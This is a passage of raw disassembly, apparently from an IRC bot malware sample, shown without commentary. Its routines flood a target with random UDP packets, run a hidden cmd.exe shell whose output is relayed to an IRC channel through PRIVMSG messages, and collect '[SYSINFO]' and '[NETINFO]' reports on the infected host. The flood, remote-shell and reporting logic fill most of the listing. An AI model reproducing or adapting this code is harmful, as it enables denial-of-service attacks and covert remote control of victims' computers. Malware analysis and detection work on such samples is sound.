loc_409836:				; CODE XREF: sub_409758+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_409840
; ---------------------------------------------------------------------------


loc_40983D:				; CODE XREF: sub_409758+6Ej
		lea	eax, [ebp+arg_0]


loc_409840:				; CODE XREF: sub_409758+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40985B
		call	sub_4154DC
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40985E
; ---------------------------------------------------------------------------


loc_40985B:				; CODE XREF: sub_409758+F0j
		push	[ebp+var_24]


loc_40985E:				; CODE XREF: sub_409758+101j
		call	ds:dword_436468	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_409870
		mov	[ebp+var_24], esi


loc_409870:				; CODE XREF: sub_409758+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40987D
		mov	[ebp+var_24], eax


loc_40987D:				; CODE XREF: sub_409758+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_409891
		mov	[ebp+var_28], esi


loc_409891:				; CODE XREF: sub_409758+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_4098B2


loc_409898:				; CODE XREF: sub_409758+158j
		call	sub_4154DC
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_409898


loc_4098B2:				; CODE XREF: sub_409758+13Ej
					; sub_409758+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_409911
		push	0Bh
		pop	esi


loc_4098BF:				; CODE XREF: sub_409758+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_4154DC
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	ds:dword_4364CC	; sendto
		push	[ebp+var_28]
		call	ds:dword_422054	; Sleep
		dec	esi
		jnz	short loc_4098BF
		cmp	[ebp+var_24], edi
		jnz	short loc_4098B2
		call	sub_4154DC
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	ds:dword_436468	; htons
		mov	[ebp+var_E], ax
		jmp	short loc_4098B2
; ---------------------------------------------------------------------------


loc_409911:				; CODE XREF: sub_409758+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_429228
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_409951
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40BAE7
		add	esp, 14h


loc_409951:				; CODE XREF: sub_409758+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_20]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_422044	; ExitThread
sub_409758	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40996E	proc near		; CODE XREF: sub_40999E+2Ap
					; sub_4099D6+7Ep ...
		mov	eax, ds:dword_4367B4
		push	esi
		mov	esi, ds:off_422074
		cmp	eax, 0FFFFFFFFh
		jz	short loc_409982
		push	eax
		call	esi ; sub_4DB3D5


loc_409982:				; CODE XREF: sub_40996E+Fj
		mov	eax, ds:dword_4367BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40998F
		push	eax
		call	esi ; sub_4DB3D5


loc_40998F:				; CODE XREF: sub_40996E+1Cj
		mov	eax, ds:dword_4367B0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40999C
		push	eax
		call	esi ; sub_4DB3D5


loc_40999C:				; CODE XREF: sub_40996E+29j
		pop	esi
		retn
sub_40996E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40999E	proc near		; CODE XREF: sub_40A965+14Ap
					; sub_40D2E0+4881p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_415C80
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	ds:dword_4367B8
		call	ds:dword_4220B0	; WriteFile
		test	eax, eax
		jnz	short loc_4099D1
		call	sub_40996E
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4099D1:				; CODE XREF: sub_40999E+28j
		push	1
		pop	eax
		leave
		retn
sub_40999E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4099D6	proc near		; CODE XREF: sub_409A5D+D3p
					; sub_409A5D+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_4325D8
		push	[ebp+arg_4]
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409A19
		push	7D0h
		call	ds:dword_422054	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_415480
		add	esp, 10h
		jmp	short loc_409A30
; ---------------------------------------------------------------------------


loc_409A19:				; CODE XREF: sub_4099D6+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_415480
		add	esp, 0Ch


loc_409A30:				; CODE XREF: sub_4099D6+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4364B8	; send
		test	eax, eax
		jg	short loc_409A59
		call	sub_40996E


loc_409A59:				; CODE XREF: sub_4099D6+7Cj
		xor	eax, eax
		leave
		retn
sub_4099D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A5D	proc near		; DATA XREF: sub_409BB2+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4367C0


loc_409A75:				; CODE XREF: sub_409A5D+79j
					; sub_409A5D+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	ds:dword_4367B4
		call	ds:dword_422114	; PeekNamedPipe
		test	eax, eax
		jz	loc_409B43
		cmp	[ebp+var_4], edi
		jnz	short loc_409AD8
		lea	eax, [ebp+var_8]
		push	eax
		push	ds:dword_4367B0
		call	ds:dword_422110	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_409ACE
		cmp	[ebp+var_8], 103h
		jnz	loc_409B67


loc_409ACE:				; CODE XREF: sub_409A5D+62j
		push	0Ah
		call	ds:dword_422054	; Sleep
		jmp	short loc_409A75
; ---------------------------------------------------------------------------


loc_409AD8:				; CODE XREF: sub_409A5D+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_409AEF


loc_409ADF:				; CODE XREF: sub_409A5D+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_409B3D
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_409ADF


loc_409AEF:				; CODE XREF: sub_409A5D+80j
		mov	[ebp+var_4], esi


loc_409AF2:				; CODE XREF: sub_409A5D+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	ds:dword_4367B4
		call	ds:off_422098
		test	eax, eax
		jz	short loc_409B8F
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	ds:dword_4367F4
		call	sub_4099D6
		add	esp, 0Ch
		jmp	loc_409A75
; ---------------------------------------------------------------------------


loc_409B3D:				; CODE XREF: sub_409A5D+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_409AF2
; ---------------------------------------------------------------------------


loc_409B43:				; CODE XREF: sub_409A5D+45j
		push	offset dword_429324
		push	ebx
		push	ds:dword_4367F4
		call	sub_4099D6
		push	[ebp+arg_0]
		call	sub_415248
		add	esp, 10h
		push	1
		call	ds:dword_422044	; ExitThread


loc_409B67:				; CODE XREF: sub_409A5D+6Bj
		call	sub_40996E
		push	offset dword_4292EC
		push	ebx
		push	ds:dword_4367F4
		call	sub_4099D6
		push	[ebp+arg_0]
		call	sub_415248
		add	esp, 10h
		push	edi
		call	ds:dword_422044	; ExitThread


loc_409B8F:				; CODE XREF: sub_409A5D+C3j
		push	offset dword_4292AC
		push	ebx
		push	ds:dword_4367F4
		call	sub_4099D6
		push	[ebp+arg_0]
		call	sub_415248
		add	esp, 10h
		push	edi
		call	ds:dword_422044	; ExitThread
sub_409A5D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BB2	proc near		; CODE XREF: sub_40A965+99p
					; sub_40D2E0+5774p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40996E
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	ds:off_436524
		test	eax, eax
		jz	loc_409CAC
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, ds:dword_422120
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_409CAC
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_409CAC
		mov	edi, ds:dword_42211C
		push	3
		push	esi
		push	esi
		push	offset dword_4367B8
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_422118	; DuplicateHandle
		test	eax, eax
		jz	short loc_409CAC
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_415500
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415500
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_4325D8
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	ds:dword_422104	; CreateProcessA
		test	eax, eax
		jnz	short loc_409CB4


loc_409CAC:				; CODE XREF: sub_409BB2+2Fj
					; sub_409BB2+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_409D62
; ---------------------------------------------------------------------------


loc_409CB4:				; CODE XREF: sub_409BB2+F8j
		push	[ebp+var_4]
		mov	edi, ds:off_422074
		call	edi ; sub_4DB3D5
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	ds:dword_4367B4, eax
		mov	eax, [ebp+var_8]
		mov	ds:dword_4367BC, eax
		mov	eax, [ebp+var_2C]
		mov	ds:dword_4367B0, eax
		call	edi ; sub_4DB3D5
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	ds:dword_4367F4, eax
		jz	short loc_409CEE
		push	[ebp+arg_4]
		jmp	short loc_409CEF
; ---------------------------------------------------------------------------


loc_409CEE:				; CODE XREF: sub_409BB2+135j
		push	ebx


loc_409CEF:				; CODE XREF: sub_409BB2+13Aj
		push	offset dword_4367C0
		call	sub_415480
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_4293A8
		call	sub_414F2C
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	ds:dword_43BEC8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_409A5D
		push	esi
		push	esi
		call	ds:dword_422070	; CreateThread
		cmp	eax, esi
		mov	ds:dword_43BED4[edi], eax
		jnz	short loc_409D60
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_429364
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40A5B3
		add	esp, 10h


loc_409D60:				; CODE XREF: sub_409BB2+185j
		xor	eax, eax


loc_409D62:				; CODE XREF: sub_409BB2+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409BB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_409D67	proc near		; CODE XREF: sub_405756+74p
					; sub_409F1E+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_422048	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4367FC
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_4159FA
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409D67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DD0	proc near		; CODE XREF: sub_40767D+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	ds:dword_422124	; GetVersionExA
		test	eax, eax
		jz	short loc_409E63
		cmp	[ebp+var_90], 4
		jnz	short loc_409E39
		cmp	[ebp+var_8C], esi
		jnz	short loc_409E21
		cmp	[ebp+var_84], 1
		jnz	short loc_409E14
		push	1
		pop	esi


loc_409E14:				; CODE XREF: sub_409DD0+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_409E63
		push	1
		jmp	short loc_409E62
; ---------------------------------------------------------------------------


loc_409E21:				; CODE XREF: sub_409DD0+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_409E2E


loc_409E2A:				; CODE XREF: sub_409DD0+78j
		push	2
		jmp	short loc_409E62
; ---------------------------------------------------------------------------


loc_409E2E:				; CODE XREF: sub_409DD0+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_409E63
		jmp	short loc_409E53
; ---------------------------------------------------------------------------


loc_409E39:				; CODE XREF: sub_409DD0+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_409E63
		cmp	[ebp+var_8C], esi
		jz	short loc_409E2A
		cmp	[ebp+var_8C], 1
		jnz	short loc_409E57


loc_409E53:				; CODE XREF: sub_409DD0+67j
		push	3
		jmp	short loc_409E62
; ---------------------------------------------------------------------------


loc_409E57:				; CODE XREF: sub_409DD0+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_409E63
		push	7


loc_409E62:				; CODE XREF: sub_409DD0+4Fj
					; sub_409DD0+5Cj ...
		pop	esi


loc_409E63:				; CODE XREF: sub_409DD0+25j
					; sub_409DD0+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_409DD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_409E68	proc near		; CODE XREF: sub_409F1E+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_409E70:				; CODE XREF: sub_409E68+2Fj
					; sub_409E68+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	ds:dword_422054	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_417370
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_409E70
		jb	short loc_409E9F
		cmp	ebx, esi
		ja	short loc_409E70


loc_409E9F:				; CODE XREF: sub_409E68+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_4172F0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_409F12
		jb	short loc_409EBE
		cmp	esi, 50h
		jnb	short loc_409EC3


loc_409EBE:				; CODE XREF: sub_409E68+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_409EC3:				; CODE XREF: sub_409E68+54j
		test	ecx, ecx
		ja	short loc_409F12
		jb	short loc_409ECE
		cmp	esi, 47h
		jnb	short loc_409ED3


loc_409ECE:				; CODE XREF: sub_409E68+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_409ED3:				; CODE XREF: sub_409E68+64j
		test	ecx, ecx
		ja	short loc_409F12
		jb	short loc_409EDE
		cmp	esi, 37h
		jnb	short loc_409EE3


loc_409EDE:				; CODE XREF: sub_409E68+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_409EE3:				; CODE XREF: sub_409E68+74j
		test	ecx, ecx
		ja	short loc_409F12
		jb	short loc_409EEE
		cmp	esi, 26h
		jnb	short loc_409EF3


loc_409EEE:				; CODE XREF: sub_409E68+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_409EF3:				; CODE XREF: sub_409E68+84j
		test	ecx, ecx
		ja	short loc_409F12
		jb	short loc_409EFE
		cmp	esi, 1Eh
		jnb	short loc_409F03


loc_409EFE:				; CODE XREF: sub_409E68+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_409F03:				; CODE XREF: sub_409E68+94j
		test	ecx, ecx
		ja	short loc_409F12
		jb	short loc_409F0E
		cmp	esi, 0Ah
		jnb	short loc_409F12


loc_409F0E:				; CODE XREF: sub_409E68+9Fj
		xor	eax, eax
		xor	edx, edx


loc_409F12:				; CODE XREF: sub_409E68+4Dj
					; sub_409E68+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_409E68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409F1E	proc near		; CODE XREF: sub_40D2E0+59EEp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_4325D8
		mov	[ebp+var_CC], 94h
		call	ds:dword_422124	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_409FA5
		cmp	[ebp+var_C4], ebx
		jnz	short loc_409F81
		cmp	[ebp+var_BC], 1
		jnz	short loc_409F6B
		mov	[ebp+var_4], offset a95	; "95"


loc_409F6B:				; CODE XREF: sub_409F1E+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40A020
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_409FF1
; ---------------------------------------------------------------------------


loc_409F81:				; CODE XREF: sub_409F1E+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_409F93
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_409FE8
; ---------------------------------------------------------------------------


loc_409F93:				; CODE XREF: sub_409F1E+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_409FE1
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_409FE8
; ---------------------------------------------------------------------------


loc_409FA5:				; CODE XREF: sub_409F1E+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_409FE1
		cmp	[ebp+var_C4], ebx
		jnz	short loc_409FBF
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_409FE8
; ---------------------------------------------------------------------------


loc_409FBF:				; CODE XREF: sub_409F1E+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_409FD1
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_409FE8
; ---------------------------------------------------------------------------


loc_409FD1:				; CODE XREF: sub_409F1E+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_409FE8


loc_409FE1:				; CODE XREF: sub_409F1E+7Cj
					; sub_409F1E+8Ej
		mov	[ebp+var_4], offset dword_4294F4


loc_409FE8:				; CODE XREF: sub_409F1E+73j
					; sub_409F1E+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40A020


loc_409FF1:				; CODE XREF: sub_409F1E+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40A020
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_4294EC
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40A020:				; CODE XREF: sub_409F1E+54j
					; sub_409F1E+D1j ...
		mov	ax, ds:word_4294E8
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, ds:dword_436354
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40A059
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_40A059:				; CODE XREF: sub_409F1E+12Cj
		push	[ebp+arg_4]
		call	sub_409526
		pop	ecx
		push	eax
		call	ds:dword_4364A8	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_436420	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40A082
		push	dword ptr [eax]
		jmp	short loc_40A087
; ---------------------------------------------------------------------------


loc_40A082:				; CODE XREF: sub_409F1E+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40A087:				; CODE XREF: sub_409F1E+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_415480
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	ds:dword_422058	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	ds:dword_422068	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	ds:dword_422064	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	ds:dword_422128	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_4173D8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40B73E
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_409D67
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_409526
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40B62E
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40B62E
		pop	ecx
		pop	ecx
		push	eax
		call	sub_409E68
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_4159FA
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409F1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A1D2	proc near		; CODE XREF: sub_40D2E0+4555p
					; sub_40D2E0+5A1Fp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_415500
		add	esp, 0Ch
		cmp	ds:dword_436550, 0
		jnz	short loc_40A23E
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_436338	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_40A227
		lea	eax, [ebp+var_8C]
		push	offset dword_429568
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_40A227:				; CODE XREF: sub_40A1D2+40j
		test	[ebp+var_C], 1
		jz	short loc_40A234
		push	offset dword_429560
		jmp	short loc_40A239
; ---------------------------------------------------------------------------


loc_40A234:				; CODE XREF: sub_40A1D2+59j
		push	offset off_42955C


loc_40A239:				; CODE XREF: sub_40A1D2+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_40A256
; ---------------------------------------------------------------------------


loc_40A23E:				; CODE XREF: sub_40A1D2+28j
		mov	esi, offset off_429558
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_415480
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_40A256:				; CODE XREF: sub_40A1D2+6Aj
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_409526
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
